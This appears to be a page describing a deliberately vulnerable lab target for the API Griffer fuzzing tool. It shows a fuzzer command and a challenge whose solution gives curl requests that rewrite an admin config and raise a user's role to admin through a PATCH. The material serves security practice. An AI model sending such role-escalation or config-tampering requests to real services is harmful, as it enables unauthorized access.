API Griffer sample target

A small sample site with fuzzable API endpoints.

Use this target at https://api-fuzz.labs.nsouthern.com, then point API Griffer at it to confirm route discovery, method handling, and clear responses.

View the GitHub repo
python3 api_fuzzer.py -u https://api-fuzz.labs.nsouthern.com/api -b wordlists/endpoints.txt -a wordlists/actions.txt --depth 1 -X GET -o findings.jsonl

Sample endpoints

These paths are intentionally aligned with the bundled endpoint and action wordlists.

Challenge

There are two vulnerable endpoints: one uses a POST request and one uses a PATCH request. Find them and exploit them.

Show solution curl commands
curl -X POST https://api-fuzz.labs.nsouthern.com/api/admin/config -H "Content-Type: application/json" -d '{"adminEmail":"admin@example.com"}'

curl -X PATCH https://api-fuzz.labs.nsouthern.com/api/users/profile -H "Content-Type: application/json" -d '{"displayName":"Nico","role":"admin"}'